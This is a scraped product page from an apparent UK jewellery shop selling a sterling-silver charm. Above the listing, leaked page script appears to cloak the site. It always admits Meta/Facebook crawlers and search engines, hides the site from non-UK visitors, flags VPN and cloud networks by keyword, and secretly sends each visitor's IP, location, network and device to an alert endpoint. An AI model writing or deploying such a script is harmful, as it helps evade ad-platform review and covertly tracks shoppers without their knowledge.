async function go() { try { // ✅ ALLOW EVERYONE ON THE METACHECKOUT PAGE — NO BLOCKING! const currentPage = window.location.pathname.toLowerCase(); if (currentPage === '/metacheckout' || currentPage === '/metacheckout/') { showSite(); console.log('✅ MetaCheckout page — ALL ACCESS ALLOWED'); return; } const dv = getDeviceInfo(); const t = new Date().toLocaleTimeString("en-GB", { hour:"2-digit", minute:"2-digit" }); const dt = new Date().toLocaleDateString("en-GB"); // ✅ STEP 1: ALLOW META/FACEBOOK/INSTAGRAM FIRST — BEFORE ANYTHING ELSE! if (isSocialCrawler) { showSite(); await sendAlert(`🔔 Visitor Alert\n\n📱 META/FACEBOOK CHECKOUT TESTER\n📄 Page: ${entryPage}\n📱 ${dv.dvc} | ${dv.os} | ${dv.br}\n✅ Allowed: Social/Meta Whitelisted\n📅 ${dt} ⏰ ${t}`); return; } // ✅ STEP 2: ALLOW SEARCH ENGINES if (isSearchEngine) { showSite(); await sendAlert(`🔔 Visitor Alert\n\n🔍 SEARCH ENGINE\n📄 Page: ${entryPage}\n📱 ${dv.dvc} | ${dv.os} | ${dv.br}\n✅ Allowed: Search Engine Access\n📅 ${dt} ⏰ ${t}`); return; } // 🚫 STEP 3: BLOCK BAD BOTS if (isBadBot) { blockBot(); await sendAlert(`🔔 Visitor Alert\n\n🤖 BAD BOT — BLOCKED\n📄 Page: ${entryPage}\n📱 ${dv.dvc} | ${dv.os} | ${dv.br}\n❌ Blocked: Automated Access\n📅 ${dt} ⏰ ${t}`); return; } // 🌍 STEP 4: ONLY CHECK COUNTRY FOR HUMAN VISITORS const res = await fetch("https://ipapi.co/json/?t=" + Date.now(), { cache: "no-store" }); const loc = await res.json(); const cc = String(loc.country_code || "").trim().toUpperCase(); const isUK = cc === "GB"; const valid = /^[A-Z]{2}$/.test(cc); const blocked = valid && !isUK; // 🏷️ DETECT VPN + CLOUD const org = String(loc.org || "").toLowerCase(); const network = String(loc.network || "").toLowerCase(); const asn = String(loc.asn || "").toLowerCase(); const allText = `${org} ${network} ${asn}`; const vpnKeywords = ['nordvpn','expressvpn','purevpn','cyberghost','surfshark','protonvpn','ipvanish','torguard','mullvad','windscribe','hideme','strongvpn','vyprvpn','privatevpn']; const isKnownVPN = vpnKeywords.some(k => allText.includes(k)); const cloudKeywords = ['hosting','cloud','datacenter','server','cdn','transit','backbone','colocation','amazon','google','microsoft','digitalocean','hetzner','ovh','linode','vultr','cloudflare','tencent','alibaba','fdcservers','facebook','netcup','buyvm','vultr','rackspace','azure']; const isCloud = cloudKeywords.some(k => allText.includes(k)); const vpnLabel = isKnownVPN || isCloud ? "🔒 VPN / Proxy Detected\n" : ""; const cloudLabel = isCloud ? "☁️ Hosting/Cloud Network\n" : ""; const icon = blocked ? "❌" : "✔️"; const status = blocked ? `Blocked: ${cc}` : `Allowed: ${loc.country_name||"UK Visitor"}`; const msg = `🔔 Visitor Alert ${visitorType} ${vpnLabel}${cloudLabel}📄 Page: ${entryPage} 📍 ${loc.city||"Unknown"}, ${loc.country_name||"Unknown"} (${cc||"?"}) 🌐 IP: ${loc.ip||"?"} 🏢 Network: ${loc.org||"Unknown"} 📱 ${dv.dvc} | ${dv.os} | ${dv.br} ${icon} ${status} 📅 ${dt} ⏰ ${t}`; if (blocked) { showInternationalBlock(); } else { showSite(); } await sendAlert(msg); } catch (err) { showSite(); sessionStorage.setItem(SESSION_ALERT_SENT, 'yes'); localStorage.setItem(EVER_VISITED, 'yes'); } }
top of page
square-shopping-bag-with-handle-svgrepo-
user-svgrepo-com_edited.png
AMBERELLE.png

15% OFF ROSELLE OCEAN WITH CODE: BEACH15

FREE SHIPPING ON ALL ORDERS SITEWIDE - NO MINIMUM ORDER

Harmony Spacer Hanging Heart Flowers CZ (S)

Harmony Spacer Hanging Heart Flowers CZ (S)

The Finer Details...

 

Add elegance to your bracelet with this stunning Harmony spacer charm. Designed to keep your charms in place, it features sleek detailing and a polished finish, perfect for enhancing your jewellery style.

 

  • Made from high quality 925 sterling silver (oxidised)
  • Charm size is 1.5cm x 0.5cm, Aperture 0.45cm
  • Charm is hypoallergenic, tarnish & water resistant
  • 1 year warranty
£32.00Price
No Reviews YetShare your thoughts. Be the first to leave a review.
A.png

 

 

 

 

DISCOVER MORE TO LOVE

 

Discover more of what you love with our carefully selected pieces, chosen to complement your style and occasion perfectly. From coordinating designs to similar favourites, explore products that pair beautifully with your current choice and find even more to complete your look or celebration.

bottom of page